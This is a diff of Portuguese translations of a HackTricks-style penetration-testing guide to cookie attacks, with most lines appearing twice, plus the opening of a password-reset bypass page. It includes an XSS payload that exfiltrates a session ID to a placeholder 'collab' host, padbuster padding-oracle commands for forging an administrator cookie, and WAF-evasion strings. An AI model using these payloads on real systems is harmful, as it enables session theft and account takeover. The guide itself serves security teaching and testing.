Isso evita que o **client** acesse o cookie (Via **Javascript** por exemplo: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- Se a página **enviar os cookies como resposta** a uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Isso pode ser contornado com solicitações **TRACE** **HTTP**, pois a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||
- Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns contornos para isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para IE6.0 SP2.
|
||||
- Outra maneira é a exploração de vulnerabilidades zero-day dos navegadores.
|
||||
- É possível **sobrescrever cookies HttpOnly** realizando um ataque de transbordamento de Cookie Jar:
|
||||
- Se a página estiver **enviando os cookies como a resposta** de uma requisição (por exemplo em uma página **PHPinfo**), é possível abusar do XSS para enviar uma requisição para essa página e **roubar os cookies** da resposta (veja um exemplo em [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Isso pode ser contornado com requisições **TRACE** **HTTP**, já que a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada **Cross-Site Tracking**.
|
||||
- Essa técnica é evitada por **navegadores modernos não permitindo o envio de um TRACE** a partir de JS. No entanto, alguns bypasses a isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||
- Outra forma é a exploração de vulnerabilidades zero-day dos navegadores.
|
||||
- É possível **sobrescrever cookies HttpOnly** realizando um ataque de Cookie Jar overflow:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- É possível usar o ataque de [**Cookie Smuggling**](#cookie-smuggling) para exfiltrar esses cookies.
|
||||
|
||||
- É possível usar o ataque [**Cookie Smuggling**](#cookie-smuggling) para exfiltrar esses cookies
|
||||
- Se algum endpoint server-side ecoar o ID de sessão bruto na resposta HTTP (por exemplo, dentro de comentários HTML ou um bloco de debug), você pode contornar o HttpOnly usando um gadget XSS para buscar esse endpoint, extrair o segredo com regex e exfiltrá-lo. Padrão de payload XSS de exemplo:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
A solicitação **somente** enviará o cookie em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||
A requisição **somente** enviará o cookie em uma requisição HTTP se esta for transmitida por um canal seguro (normalmente **HTTPS**).
|
||||
|
||||
## Prefixos de Cookies
|
||||
|
||||
Cookies prefixados com `__Secure-` devem ser definidos juntamente com a flag `secure` de páginas que são protegidas por HTTPS.
|
||||
Cookies com prefixo `__Secure-` devem ser definidos juntamente com a flag `secure` a partir de páginas protegidas por HTTPS.
|
||||
|
||||
Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
||||
Para cookies com prefixo `__Host-`, várias condições devem ser atendidas:
|
||||
|
||||
- Eles devem ser definidos com a flag `secure`.
|
||||
- Devem originar de uma página protegida por HTTPS.
|
||||
- Devem ser definidos com a flag `secure`.
|
||||
- Devem originar-se de uma página protegida por HTTPS.
|
||||
- É proibido especificar um domínio, impedindo sua transmissão para subdomínios.
|
||||
- O caminho para esses cookies deve ser definido como `/`.
|
||||
- O path desses cookies deve ser definido como `/`.
|
||||
|
||||
É importante notar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar cookies de aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicação pode ser considerado uma boa prática para aumentar a segurança e a isolação.
|
||||
É importante notar que cookies com prefixo `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar os cookies da aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies da aplicação pode ser considerado uma boa prática para aumentar a segurança e isolamento.
|
||||
|
||||
### Sobrescrevendo cookies
|
||||
|
||||
Assim, uma das proteções dos cookies prefixados com `__Host-` é impedir que eles sejam sobrescritos a partir de subdomínios. Prevenindo, por exemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), foi apresentado que era possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o parser, por exemplo, adicionando "=" no início ou no final...:
|
||||
Uma das proteções dos cookies com prefixo `__Host-` é evitar que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, [**Cookie Tossing attacks**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que era possível definir \_\_HOST- prefixed cookies a partir de um subdomínio, enganando o parser, por exemplo, adicionando "=" no começo ou no começo e no fim...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ou em PHP, era possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por caracteres de sublinhado**, permitindo sobrescrever cookies `__HOST-`:
|
||||
Ou em PHP era possível adicionar **outros caracteres no início** do nome do cookie que seriam **substituídos por underscore** characters, permitindo sobrescrever `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Ataques a Cookies
|
||||
|
||||
Se um cookie personalizado contém dados sensíveis, verifique-o (especialmente se você estiver participando de um CTF), pois pode ser vulnerável.
|
||||
Se um cookie customizado contiver dados sensíveis, verifique-o (especialmente se você estiver em um CTF), pois pode ser vulnerável.
|
||||
|
||||
### Decodificando e Manipulando Cookies
|
||||
|
||||
Dados sensíveis incorporados em cookies devem sempre ser examinados. Cookies codificados em Base64 ou formatos semelhantes podem frequentemente ser decodificados. Essa vulnerabilidade permite que atacantes alterem o conteúdo do cookie e se façam passar por outros usuários, codificando seus dados modificados de volta no cookie.
|
||||
Dados sensíveis embutidos em cookies devem sempre ser examinados. Cookies codificados em Base64 ou formatos similares frequentemente podem ser decodificados. Essa vulnerabilidade permite que atacantes alterem o conteúdo do cookie e assumam a identidade de outros usuários ao voltar a codificar seus dados modificados no cookie.
|
||||
|
||||
### Sequestro de Sessão
|
||||
### Session Hijacking
|
||||
|
||||
Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta dentro de uma aplicação. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
|
||||
Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta em uma aplicação. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.
|
||||
|
||||
### Fixação de Sessão
|
||||
### Session Fixation
|
||||
|
||||
Nesse cenário, um atacante engana uma vítima para usar um cookie específico para fazer login. Se a aplicação não atribuir um novo cookie ao fazer login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.
|
||||
Nesse cenário, um atacante engana a vítima para que ela use um cookie específico ao fazer login. Se a aplicação não atribuir um novo cookie após o login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima efetuar o login com um cookie fornecido pelo atacante.
|
||||
|
||||
Se você encontrou um **XSS in a subdomain** ou você **control a subdomain**, leia:
|
||||
|
||||
Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**, leia:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### Doação de Sessão
|
||||
### Session Donation
|
||||
|
||||
Aqui, o atacante convence a vítima a usar o cookie de sessão do atacante. A vítima, acreditando que está logada em sua própria conta, realizará inadvertidamente ações no contexto da conta do atacante.
|
||||
Aqui, o atacante convence a vítima a usar o cookie de sessão do atacante. A vítima, acreditando estar logada na própria conta, executará inadvertidamente ações no contexto da conta do atacante.
|
||||
|
||||
Se você encontrou um **XSS in a subdomain** ou você **control a subdomain**, leia:
|
||||
|
||||
Se você encontrou um **XSS em um subdomínio** ou **controla um subdomínio**, leia:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Clique no link anterior para acessar uma página que explica possíveis falhas em JWT.
|
||||
Clique no link acima para acessar uma página que explica possíveis falhas em JWT.
|
||||
|
||||
JSON Web Tokens (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre falhas potenciais e como explorá-las, é recomendável acessar o documento vinculado sobre hacking JWT.
|
||||
JSON Web Tokens (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre falhas potenciais e como explorá-las, recomenda-se acessar o documento linkado sobre hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Esse ataque força um usuário logado a executar ações indesejadas em uma aplicação web na qual está atualmente autenticado. Atacantes podem explorar cookies que são automaticamente enviados com cada solicitação para o site vulnerável.
|
||||
Esse ataque força um usuário autenticado a executar ações indesejadas em uma aplicação web na qual está atualmente autenticado. Atacantes podem explorar cookies que são enviados automaticamente com cada requisição ao site vulnerável.
|
||||
|
||||
### Cookies Vazios
|
||||
### Cookies vazios
|
||||
|
||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Os navegadores permitem a criação de cookies sem um nome, o que pode ser demonstrado através do JavaScript da seguinte forma:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado através de JavaScript da seguinte forma:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
O resultado no cabeçalho de cookie enviado é `a=v1; test value; b=v2;`. Intrigantemente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:
|
||||
O resultado no sent cookie header é `a=v1; test value; b=v2;`. Curiosamente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -155,75 +165,76 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Isso faz com que o navegador envie um cabeçalho de cookie interpretado por cada servidor web como um cookie chamado `a` com um valor `b`.
|
||||
Isso faz com que o navegador envie um cabeçalho Cookie interpretado por todo servidor web como um cookie chamado `a` com o valor `b`.
|
||||
|
||||
#### Bug do Chrome: Problema com Código de Substituição Unicode
|
||||
#### Bug do Chrome: Unicode Surrogate Codepoint Issue
|
||||
|
||||
No Chrome, se um código de substituição Unicode fizer parte de um cookie definido, `document.cookie` fica corrompido, retornando uma string vazia posteriormente:
|
||||
No Chrome, se um Unicode surrogate codepoint fizer parte de um set cookie, `document.cookie` fica corrompido, retornando em seguida uma string vazia:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Isso resulta em `document.cookie` retornando uma string vazia, indicando corrupção permanente.
|
||||
This results in `document.cookie` outputting an empty string, indicating permanent corruption.
|
||||
|
||||
#### Cookie Smuggling Devido a Problemas de Análise
|
||||
#### Cookie Smuggling Due to Parsing Issues
|
||||
|
||||
(Confira mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manipulam incorretamente strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
||||
(Confira mais detalhes na [original research](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), tratam incorretamente strings de cookie devido ao suporte obsoleto ao RFC2965. Eles interpretam um valor de cookie entre aspas duplas como um único valor mesmo se ele incluir pontos e vírgulas, que normalmente deveriam separar pares chave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Vulnerabilidades de Injeção de Cookies
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies pelos servidores, notavelmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) O parsing incorreto de cookies por servidores, notadamente Undertow, Zope, e aqueles que usam Python's `http.cookie.SimpleCookie` e `http.cookie.BaseCookie`, cria oportunidades para ataques de injeção de cookie. Esses servidores não delimitam corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
||||
|
||||
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem um ponto e vírgula.
|
||||
- Zope procura uma vírgula para começar a analisar o próximo cookie.
|
||||
- As classes de cookies do Python começam a analisar em um caractere de espaço.
|
||||
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
||||
- Zope procura por uma vírgula para começar a parsear o próximo cookie.
|
||||
- As classes de cookie do Python começam a parsear a partir de um caractere de espaço.
|
||||
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a contornos de autorização quando cookies são passados para servidores de back-end suscetíveis à falsificação.
|
||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookie, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookie duplicados em Python, onde a última ocorrência sobrescreve as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypasses de autorização quando cookies são repassados para servidores back-end suscetíveis à falsificação.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Bypass de WAF
|
||||
|
||||
De acordo com [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), pode ser possível usar o atributo de cookie **`$Version=1`** para fazer o back-end usar uma lógica antiga para analisar o cookie devido ao **RFC2109**. Além disso, outros valores como **`$Domain`** e **`$Path`** podem ser usados para modificar o comportamento do back-end com o cookie.
|
||||
De acordo com [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), pode ser possível usar o atributo de cookie **`$Version=1`** para fazer o backend usar uma lógica antiga para parsear o cookie devido ao **RFC2109**. Além disso, outros valores como **`$Domain`** e **`$Path`** podem ser usados para modificar o comportamento do backend com o cookie.
|
||||
|
||||
#### Ataque de Sanduíche de Cookies
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
De acordo com [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), é possível usar a técnica de sanduíche de cookies para roubar cookies HttpOnly. Estes são os requisitos e etapas:
|
||||
De acordo com [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) é possível usar a cookie sandwich technique para roubar HttpOnly cookies. Estes são os requisitos e passos:
|
||||
|
||||
- Encontre um lugar onde um **cookie aparentemente inútil é refletido na resposta**
|
||||
- **Crie um cookie chamado `$Version`** com valor `1` (ou você pode fazer isso em um ataque XSS a partir do JS) com um caminho mais específico para que ele obtenha a posição inicial (alguns frameworks como Python não precisam dessa etapa)
|
||||
- **Crie o cookie que é refletido** com um valor que deixa uma **aspas duplas abertas** e com um caminho específico para que ele seja posicionado no banco de dados de cookies após o anterior (`$Version`)
|
||||
- Então, o cookie legítimo irá na sequência
|
||||
- **Crie um cookie fictício que fecha as aspas duplas** dentro de seu valor
|
||||
- Encontre um local onde um cookie aparentemente inútil é refletido na resposta
|
||||
- **Create a cookie called `$Version`** com valor `1` (você pode fazer isso em um ataque XSS via JS) com um path mais específico para que ele obtenha a posição inicial (alguns frameworks como python não precisam deste passo)
|
||||
- **Create the cookie that is reflected** com um valor que deixe uma **aspas duplas aberta** e com um path específico para que ele fique posicionado no cookie db após o anterior (`$Version`)
|
||||
- Então, o cookie legítimo ficará em seguida na ordem
|
||||
- **Create a dummy cookie that closes the double quotes** dentro do seu valor
|
||||
|
||||
Dessa forma, o cookie da vítima fica preso dentro da nova versão do cookie 1 e será refletido sempre que for refletido.
|
||||
Dessa forma o cookie da vítima fica preso dentro do novo cookie `$Version=1` e será refletido sempre que for refletido.
|
||||
por exemplo do post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### Bypass de WAF
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Verifique a seção anterior.
|
||||
Veja a seção anterior.
|
||||
|
||||
#### Análise de valor de bypass com codificação de string entre aspas
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Essa análise indica desescapar valores escapados dentro dos cookies, então "\a" se torna "a". Isso pode ser útil para contornar WAFs, como:
|
||||
Esse parsing indica que se removerá o escape dos valores dentro dos cookies, então "\a" se torna "a". Isso pode ser útil para contornar WAFS como:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### Contornando listas de bloqueio de nomes de cookies
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
No RFC2109, é indicado que uma **vírgula pode ser usada como um separador entre valores de cookies**. E também é possível adicionar **espaços e tabs antes e depois do sinal de igual**. Portanto, um cookie como `$Version=1; foo=bar, abc = qux` não gera o cookie `"foo":"bar, admin = qux"` mas os cookies `foo":"bar"` e `"admin":"qux"`. Note como 2 cookies são gerados e como o admin teve o espaço removido antes e depois do sinal de igual.
|
||||
In the RFC2109 it's indicated that a **vírgula pode ser usada como separador entre valores de cookie**. Além disso, é possível adicionar **espaços e tabs antes e depois do sinal de igual**. Portanto um cookie como `$Version=1; foo=bar, abc = qux` não gera o cookie `"foo":"bar, admin = qux"` mas os cookies `foo":"bar"` e `"admin":"qux"`. Observe como 2 cookies são gerados e como admin teve removidos os espaços antes e depois do sinal de igual.
|
||||
|
||||
#### Análise de valor de bypass com divisão de cookies
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
Finalmente, diferentes backdoors se juntariam em uma string diferentes cookies passados em diferentes cabeçalhos de cookies como em:
|
||||
Finalmente diferentes backdoors poderiam juntar em uma única string cookies diferentes passados em diferentes cookie headers como em:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -237,27 +248,27 @@ Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### Verificações de Cookies Extra Vulneráveis
|
||||
### Verificações extras de Cookies vulneráveis
|
||||
|
||||
#### **Verificações básicas**
|
||||
|
||||
- O **cookie** é o **mesmo** toda vez que você **faz login**.
|
||||
- O **cookie** é o **mesmo** toda vez que você faz **login**.
|
||||
- Faça logout e tente usar o mesmo cookie.
|
||||
- Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
||||
- Verifique se o cookie contém alguma informação e tente modificá-lo.
|
||||
- Tente criar várias contas com nomes de usuário quase iguais e verifique se consegue ver semelhanças.
|
||||
- Verifique a opção "**lembrar de mim**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar de mim** sem nenhum outro cookie.
|
||||
- Verifique se o cookie anterior funciona mesmo depois de você mudar a senha.
|
||||
- Verifique se o cookie contém alguma informação e tente modificá-lo
|
||||
- Tente criar várias accounts com usernames quase iguais e verifique se consegue ver semelhanças.
|
||||
- Verifique a opção "**remember me**" se existir para ver como ela funciona. Se existir e puder ser vulnerável, sempre use o cookie de **remember me** sem nenhum outro cookie.
|
||||
- Verifique se o cookie anterior funciona mesmo depois de você alterar a password.
|
||||
|
||||
#### **Ataques avançados a cookies**
|
||||
|
||||
Se o cookie permanecer o mesmo (ou quase) quando você faz login, isso provavelmente significa que o cookie está relacionado a algum campo da sua conta (provavelmente o nome de usuário). Então você pode:
|
||||
Se o cookie permanece o mesmo (ou quase) quando você faz login, isso provavelmente significa que o cookie está relacionado a algum campo da sua account (provavelmente o username). Então você pode:
|
||||
|
||||
- Tentar criar muitas **contas** com nomes de usuário muito **semelhantes** e tentar **adivinhar** como o algoritmo está funcionando.
|
||||
- Tentar **forçar o nome de usuário**. Se o cookie é salvo apenas como um método de autenticação para o seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar** cada único **bit** do seu cookie porque um dos cookies que você tentará será o pertencente a "**admin**".
|
||||
- Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||
- Tente criar muitas **accounts** com usernames muito **similares** e tente **adivinhar** como o algoritmo funciona.
|
||||
- Tente **bruteforce the username**. Se o cookie for usado apenas como método de autenticação para o seu username, então você pode criar uma account com username "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentar será o pertencente a "**admin**".
|
||||
- Teste **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||
|
||||
**Padding Oracle - Exemplos de Padbuster**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -267,43 +278,45 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (a que não é válida).
|
||||
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
|
||||
|
||||
Em seguida, começará a descriptografar o cookie (pode levar vários minutos).
|
||||
Em seguida, ele começará a decrypting the cookie (pode levar vários minutos)
|
||||
|
||||
Se o ataque for realizado com sucesso, você poderá tentar criptografar uma string de sua escolha. Por exemplo, se você quiser **encrypt** **user=administrator**.
|
||||
Se o ataque for realizado com sucesso, então você poderá tentar encrypt uma string de sua escolha. Por exemplo, se você quiser **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Esta execução lhe dará o cookie corretamente criptografado e codificado com a string **user=administrator** dentro.
|
||||
Esta execução fornecerá o cookie corretamente criptografado e codificado com a string **user=administrator** dentro.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Talvez um cookie possa ter algum valor e pode ser assinado usando CBC. Então, a integridade do valor é a assinatura criada usando CBC com o mesmo valor. Como é recomendado usar como IV um vetor nulo, esse tipo de verificação de integridade pode ser vulnerável.
|
||||
Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a integridade do valor é a assinatura criada usando CBC com o mesmo valor. Como é recomendado usar como IV um vetor nulo, esse tipo de verificação de integridade pode ser vulnerável.
|
||||
|
||||
**O ataque**
|
||||
**The attack**
|
||||
|
||||
1. Obtenha a assinatura do nome de usuário **administ** = **t**
|
||||
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Defina no cookie o valor **administrator+t'** (**t'** será uma assinatura válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Obter a assinatura do username **administ** = **t**
|
||||
2. Obter a assinatura do username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Colocar no cookie o valor **administrator+t'** (**t'** será uma assinatura válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
|
||||
**ECB**
|
||||
|
||||
Se o cookie for criptografado usando ECB, ele pode ser vulnerável.\
|
||||
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
||||
Se o cookie for criptografado usando ECB ele pode ser vulnerável.\
|
||||
When you log in the cookie that you receive has to be always the same.
|
||||
|
||||
**Como detectar e atacar:**
|
||||
## Como detectar e atacar:
|
||||
|
||||
Crie 2 usuários com dados quase idênticos (nome de usuário, senha, e-mail, etc.) e tente descobrir algum padrão dentro do cookie fornecido.
|
||||
- Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
|
||||
- Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
|
||||
|
||||
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como o ECB criptografa com a mesma chave cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
|
||||
Deve haver um padrão (com o tamanho de um bloco usado). So, knowing how are a bunch of "a" encrypted you can create a username: "a"\*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
|
||||
|
||||
Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um monte de "a" é criptografado, você pode criar um nome de usuário: "a"\*(tamanho do bloco)+"admin". Então, você poderia deletar o padrão criptografado de um bloco de "a" do cookie. E você terá o cookie do nome de usuário "admin".
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,181 +1,182 @@
|
||||
# Bypass de Redefinição/Senha Esquecida
|
||||
# Reset/Forgotten Password Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Vazamento de Token de Redefinição de Senha Via Referer**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- O cabeçalho HTTP referer pode vazar o token de redefinição de senha se estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar uma redefinição de senha.
|
||||
- **Impacto**: Potencial tomada de conta via ataques de Cross-Site Request Forgery (CSRF).
|
||||
- **Exploração**: Para verificar se um token de redefinição de senha está vazando no cabeçalho referer, **solicite uma redefinição de senha** para seu endereço de e-mail e **clique no link de redefinição** fornecido. **Não altere sua senha** imediatamente. Em vez disso, **navegue até um site de terceiros** (como Facebook ou Twitter) enquanto **intercepta as requisições usando Burp Suite**. Inspecione as requisições para ver se o **cabeçalho referer contém o token de redefinição de senha**, pois isso pode expor informações sensíveis a terceiros.
|
||||
- **Referências**:
|
||||
